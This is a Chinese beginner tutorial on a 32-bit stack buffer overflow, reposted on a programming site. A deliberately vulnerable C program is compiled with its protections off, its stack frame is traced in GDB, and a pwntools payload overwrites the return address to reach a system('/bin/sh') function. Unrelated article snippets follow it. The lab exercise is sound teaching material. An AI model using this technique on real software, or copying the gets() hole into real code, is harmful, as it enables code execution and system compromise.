PWN入门之Stack Overflow

Stack Overflow是一种程序的运行时(runtime)错误,中文翻译过来叫做“栈溢出”。栈溢出原理是指程序向栈中的某个变量中写入的字节数超过了这个变量本身所申请的字节数,导致与其相邻的栈中的变量值被改变。

在本篇文章中,我详细介绍了如何利用程序中本身存在的栈溢出漏洞,达到劫持程序流的目的,进而实现system("/bin/sh")的效果,如果你也对这个知识点感兴趣,欢迎阅读全文,内容篇幅较长,阅读时长约12分钟。

C语言程序

来分析劫持程序流的过程

#include <stdio.h>
#include <string.h>
void success() { puts("You Hava already controlled it.");system("/bin/sh"); }
void vulnerable() {char s[12];gets(s);puts(s);return;
}
int main(int argc, char **argv) {vulnerable();return 0;
}
#编译
gcc -m32 -fno-stack-protector 1.c -o hello_world -z execstack

编译后用checksec确认,Canary、PIE、NX,这三个表示三种保护方式,此demo不涉及绕过保护方式,因此保护全关。

图片

运行

从运行的角度看程序

图片

可以看到,我们在键盘上输入的东西,会在显示器再输出一遍,这是因为在vulnerable( )函数中的get( )、puts()两个函数的原因。

我们来从运行的角度来分析一下C语言程序,程序会认为main函数是入口,首先会执行main函数,main函数中调用vulnerable函数,之后再返回main函数,至此程序结束。

但是发现这里还有一个函数是success函数,里面有system("/bin/sh")这个内置的危险函数,试想一下,如果能够在程序运行的过程中,劫持程序流,是不是就能够通过这个二进制程序拿到此机器的shell。

图片

从汇编的角度看程序

main函数的地址为0x080484BB

vulnerable函数的地址为0x08048494

success函数的地址为0x0804846B

plt表和got表中有gets 、puts、system等函数,这些是属于内置函数,在程序运行的过程中,有动态链**接的过程。

main函数

图片

在vulnerable函数中,主要就是gets和puts函数,这里我们注意一下,我们就是用vulnerable这个函数来进行程序劫持的。

success函数

图片

打印一句话you have already controlled it,还有就是system("/bin/sh"),要想办法把程序执行到success函数中。

用GDB进行调试

图片

在main函数中下一个断点,开始调试。

图片

进入到vulnerable函数

图片

push ebp
move ebp,esp
sub esp ,0x18在这先记录两个地址
EBP 0xffffd068
ESP 0xffffd05c

这三句汇编语言是经典的开辟栈空间,对于计算机来说,它会认为bp和sp是栈底和栈顶。

在经过push ebp之后

图片

EBP 0xffffd068
ESP 0xffffd058
ebp 存储在了0XFFFFD05C这个位置上,ESP由 0xffffd05c变为了 0xffffd058

图片

所以push ebp做了两个事情,首先是把ebp的值存放在了栈上,然后esp=esp-4。

图片

move ebp,esp这个汇编指令就很简单了,把esp的值复制一份给ebp

图片

现在ebp和esp指向同一位置,都为0xffffd058。

之后是sub esp,0x18

图片

EBP 0xffffd058

ESP 0xffffd040

至此栈空间开辟完成。

图片

再来分析gets和puts函数

0x8048494 <vulnerable> push ebp
0x8048495 <vulnerable+1> mov ebp, esp
0x8048497 <vulnerable+3> sub esp, 0x18
0x804849a <vulnerable+6> sub esp, 0xc
► 0x804849d <vulnerable+9> lea eax, [ebp - 0x14] <0xf7fb9dbc>
0x80484a0 <vulnerable+12> push eax
0x80484a1 <vulnerable+13> call gets@plt <0x8048320>

ebp-0x14=0xffffd058-0x14=0xffffd044

图片

get函数会请求键盘输入

图片

我们输入aaaaaaaabbbbbbbb

图片

从0xffffd044开始填充字符,正好是0x10个字符,接着我们可以看到,0xffffd086这个地址,这是之前的ebp。

我们用多点垃圾字符进行填充,这样就会把ebp的值给覆盖掉了。

图片

接着执行,会看到ret的时候,就不能够返回正常的main函数了。

图片

看一下正常情况,如果是正常情况的话,会返回到main函数中,这里需要注意一个细节,EIP这个寄存器,计算机会执行EIP指向的东西。根据这个原理,就可以进行构造,当ret的时候,EIP指向的东西为success函数的地址即可,这样就可以调用success函数了,从而达到劫持程序流的目的。

图片

图片

图片

单步调试vulnerable函数

进入vulnerable函数之前
EBP 0xffffd068 ◂— 0x0
ESP 0xffffd060 —▸ 0xf7fb83dc (__exit_funcs) —▸ 0xf7fb91e0 (initial) ◂— 0
进入vulnerable函数之后
EBP 0xffffd068 ◂— 0x0
ESP 0xffffd05c —▸ 0x80484d1 (main+22) ◂— mov eax, 0
push ebp ebp压入栈中
EBP 0xffffd068 ◂— 0x0
ESP 0xffffd058 —▸ 0xffffd068 ◂— 0x0
move ebp,esp 导致ebp和esp同一个值
EBP 0xffffd058 —▸ 0xffffd068 ◂— 0x0
ESP 0xffffd058 —▸ 0xffffd068 ◂— 0x0
sub esp,0x18
EBP 0xffffd058 —▸ 0xffffd068 ◂— 0x0
ESP 0xffffd040 ◂— 0x1
sub esp,0xc
EBP 0xffffd058 —▸ 0xffffd068 ◂— 0x0
ESP 0xffffd034 —▸ 0xf7fb8000 (_GLOBAL_OFFSET_TABLE_) ◂— mov al, 0x2d
/* 0x1b2db0 */
add esp,0x10
EBP 0xffffd058 —▸ 0xffffd068 ◂— 0x0
ESP 0xffffd040 ◂— 0x1
sub esp, 0xc
EBP 0xffffd058 —▸ 0xffffd068 ◂— 0x0
ESP 0xffffd034 —▸ 0xf7fb8000 (_GLOBAL_OFFSET_TABLE_) ◂— mov al, 0x2d
/* 0x1b2db0 */
push eax
EBP 0xffffd058 —▸ 0xffffd068 ◂— 0x0
ESP 0xffffd030 —▸ 0xffffd044 ◂— 'aaaa'
add esp,0x10
EBP 0xffffd058 —▸ 0xffffd068 ◂— 0x0
ESP 0xffffd040 ◂— 0x1
leave leave指令分为两步,move esp,ebp pop ebp
也就是说,把bp的值给sp,bp=sp=0xffffd068, 之后是弹出ebp的值,sp=sp-4
EBP 0xffffd068 ◂— 0x0
ESP 0xffffd05c —▸ 0x80484d1 (main+22) ◂— mov eax, 0
ret 相当于pop eip
EBP 0xffffd068 ◂— 0x0
ESP 0xffffd060 —▸ 0xf7fb83dc (__exit_funcs) —▸ 0xf7fb91e0 (initial) ◂— 0

图片

构造的时候首先利用gets函数用垃圾字符把栈空间填满,之后用四个字符覆盖ebp,紧接着加上success函数的地址就可以了。

劫持程序流

第一步算距离

首先我们需要先算出gets函数让我们输入的地方距离EBP的距离,即0xffffd44-0xffffd058=0x14。

图片

第二步用数据填充

0x14就是20个字符,用20个a进行填充。

图片

这是20个字符,接着用4字符覆盖ebp,再加上success函数的地址就可以了。

##coding=utf8
from pwn import *
import pwnlib
context(os = 'linux',arch='amd64',log_level='debug')
## 构造与程序交互的对象
sh = process('./hello_world')
success_addr = 0x0804846B
## 构造payload
payload = 'a' * 0x14 + 'bbbb' + p32(success_addr)
print p32(success_addr)
pwnlib.gdb.attach(sh)
## 向程序发送字符串
sh.sendline(payload)
## 将代码交互转换为手工交互
sh.interactive()

图片

payload = 'a' * 0x14 + 'bbbb' + p32(success_addr) ,原理就是利用变量覆盖栈空间,之后再覆盖掉原始的ebp寄存器的内容,紧接着就是返回地址了,把success函数的地址打进去就可以执行success函数了。

图片

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/bicheng/6831.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

常用语音识别开源四大工具:Kaldi,PaddleSpeech,WeNet,EspNet

无论是基于成本效益还是社区支持&#xff0c;我都坚决认为开源才是推动一切应用的动力源泉。下面推荐语音识别开源工具&#xff1a;Kaldi&#xff0c;Paddle&#xff0c;WeNet&#xff0c;EspNet。 1、最成熟的Kaldi 一个广受欢迎的开源语音识别工具&#xff0c;由Daniel Pove…

下一代防火墙是什么?

下一代防火墙(NGFW&#xff0c;Next-Generation Firewall)是一种高级安全设备&#xff0c;它提供了传统防火墙的功能并加入了更多的安全特性&#xff0c;以应对现代复杂网络环境中的安全威胁。NGFW不仅包括基本的数据包过滤功能&#xff0c;还集成了深度包检测(DPI)、入侵防御系…

代码随想录算法训练营DAY54|C++动态规划Part15|647.回文子串、516最长回文子序列、

文章目录 647.回文子串思路CPP代码双指针 516最长回文子序列思路CPP代码 动态规划总结篇 647.回文子串 力扣题目链接 文章链接&#xff1a;647.回文子串 视频链接&#xff1a;动态规划&#xff0c;字符串性质决定了DP数组的定义 | LeetCode&#xff1a;647.回文子串 其实子串问…

fcn网络是怎么学习 时间序列 怎么进行分类的啊 这是我的wave1_test.shape (2904, 3, 8000)

**全卷积网络&#xff08;FCN&#xff09;**处理时间序列数据进行分类的方法主要涉及以下几个步骤&#xff1a; 1. 数据预处理 首先&#xff0c;时间序列数据&#xff08;如你的 wave1_test 形状为 (2904, 3, 8000)&#xff09;需要适当的预处理。这可能包括归一化、去噪等步…

容器下的 Go 应用程序优化

1. 内存对齐 结构体内字段&#xff0c;从大到小排列 减少内存占用 1&#xff09;安装 fieldalignment 工具 go install golang.org/x/tools/go/analysis/passes/fieldalignment/cmd/fieldalignmentlatest 2&#xff09;分析并修复内存对齐 fieldalignment -fix ./.../Us…

第07-6章 应用层详解

HTTP、SSL&#xff1a;基于TCP&#xff0c;HTTP端口:80、HTTPS&#xff08;加密&#xff09;端口&#xff1a;443&#xff1b;FTP:基于TCP&#xff0c;两类端口&#xff1a;21、20&#xff08;数据传输之前需要建立连接此时是21&#xff0c;真正传输数据时用20&#xff09;TFTP…

JS基础:常见的6种语句详解

你好&#xff0c;我是云桃桃。 一个希望帮助更多朋友快速入门 WEB 前端的程序媛。 云桃桃-大专生&#xff0c;一枚程序媛&#xff0c;感谢关注。回复 “前端基础题”&#xff0c;可免费获得前端基础 100 题汇总&#xff0c;回复 “前端基础路线”&#xff0c;可获取完整web基础…

机器学习中线性回归算法的推导过程

线性回归是机器学习中监督学习中最基础也是最常用的一种算法。 背景&#xff1a;当我们拿到一堆数据。这堆数据里有参数&#xff0c;有标签。我们将这些数据在坐标系中标出。我们会考虑这些数据是否具有线性关系。简单来说 我们是否可以使用一条线或者一个平面去拟合这些数据的…

「AIGC」ChatGPT入门

一、了解ChatGPT 1. ChatGPT是什么 ChatGPT是一种基于人工智能技术的自然语言处理&#xff08;NLP&#xff09;模型&#xff0c;它能够通过机器学习算法理解和生成人类语言。这种模型通常用于聊天机器人、语言翻译、内容生成、问答系统等多种场景。ChatGPT能够模拟人类的对话…

机器学习中的简单指数平滑(SES)

简单指数平滑&#xff08;Simple Exponential Smoothing&#xff09;是一种常用的时间序列预测方法&#xff0c;用于对时间序列数据进行平滑处理并进行未来数值的预测。 简单指数平滑的核心思想是基于过去观测值的加权平均来预测未来的值&#xff0c;其中较近的观测值被赋予更…

vue服务器端数据预取Server-Side Data Fetching例子

Vue.js 本身并不直接处理服务器端数据预取&#xff08;Server-Side Data Fetching&#xff09;&#xff0c;这通常涉及到在服务器端&#xff08;可能是一个 Node.js 应用、API 服务器或其他后端服务&#xff09;预先获取数据&#xff0c;并在页面加载时将其传递给 Vue.js 客户端…

如何在交换机上重置密码而不丢失配置?如何配置SSH远程登录?

在网络设备管理中&#xff0c;保持设备的安全性是至关重要的&#xff0c;所以console密码是必须设置的&#xff0c;绝对不能偷懒。 但是&#xff0c;如果习惯不好&#xff0c;或者离职时交接不好&#xff0c;就会导致密码丢失&#xff0c;此时想要修改网络设置的配置就麻烦了。…

华为OD机试 - 符号运算 - 递归(Java 2024 C卷 100分)

华为OD机试 2024C卷题库疯狂收录中&#xff0c;刷题点这里 专栏导读 本专栏收录于《华为OD机试&#xff08;JAVA&#xff09;真题&#xff08;A卷B卷C卷&#xff09;》。 刷的越多&#xff0c;抽中的概率越大&#xff0c;每一题都有详细的答题思路、详细的代码注释、样例测试…

Linux uuencode命令教程:如何将二进制文件编码为ASCII文本(附案例详解和注意事项)

Linux uuencode命令介绍 uuencode&#xff08;Unix-to-Unix encoding&#xff09;命令用于将二进制文件编码为ASCII文本。这样做的目的是为了在可能会破坏数据的通道上发送文件。 Linux uuencode命令适用的Linux版本 uuencode命令在大多数Linux发行版中都可以使用&#xff0…

使用 FFmpeg 从音视频中提取音频

有时候我们需要从视频文件中提取音频&#xff0c;并保存为一个单独的音频文件&#xff0c;我们可以借助 FFmpeg 来完成这个工作。 一、提取音频&#xff0c;保存为 mp3 文件: 要使用 FFmpeg 从音视频文件中提取音频&#xff0c;并将 ACC 编码的音频转换为 MP3 格式&#xff0…

CNN实现fashion_mnist数据集分类(tensorflow)

1、查看tensorflow版本 import tensorflow as tfprint(Tensorflow Version:{}.format(tf.__version__)) print(tf.config.list_physical_devices())2、加载fashion_mnist数据与预处理 import numpy as np (train_images,train_labels),(test_images,test_labels) tf.keras.d…

Neo4j+LLM+RAG 环境配置报错处理

开发KGLLMRAG程序时遇到以下报错&#xff0c;记录下处理方案&#xff1a; ValueError: Could not use APOC procedures. Please ensure the APOC plugin is installed in Neo4j and that ‘apoc.meta.data()’ is allowed in Neo4j configuration 这个参考文章&#xff1a;link…

FFmpeg学习记录(四)——SDL音视频渲染实战

1.SDL使用的基本步骤 SDL Init/sDL _Quit()SDL_CreateWindow()/SDL_DestoryWindow()SDL CreateRender() SDL_Windows *windows NULL;SDL_Init(SDL_INIT_VIDEO);window SDL_CreateWindow("SDL2 Windows",200,200, 640,480,SDL_WINDOW_SHOWN);if(!window) {printf(&…

【链表】:链表的带环问题

&#x1f381;个人主页&#xff1a;我们的五年 &#x1f50d;系列专栏&#xff1a;数据结构 &#x1f337;追光的人&#xff0c;终会万丈光芒 前言&#xff1a; 链表的带环问题在链表中是一类比较难的问题&#xff0c;它对我们的思维有一个比较高的要求&#xff0c;但是这一类…

【Flask 系统教程 1】入门及配置

当你开始学习 Flask 时&#xff0c;了解如何进行基本的配置是非常重要的。Flask 是一个简单而灵活的 Python Web 框架&#xff0c;它允许你快速构建 Web 应用程序&#xff0c;并且易于学习。在这篇博客中&#xff0c;我将介绍如何从零开始进行 Flask 的基础配置&#xff0c;适合…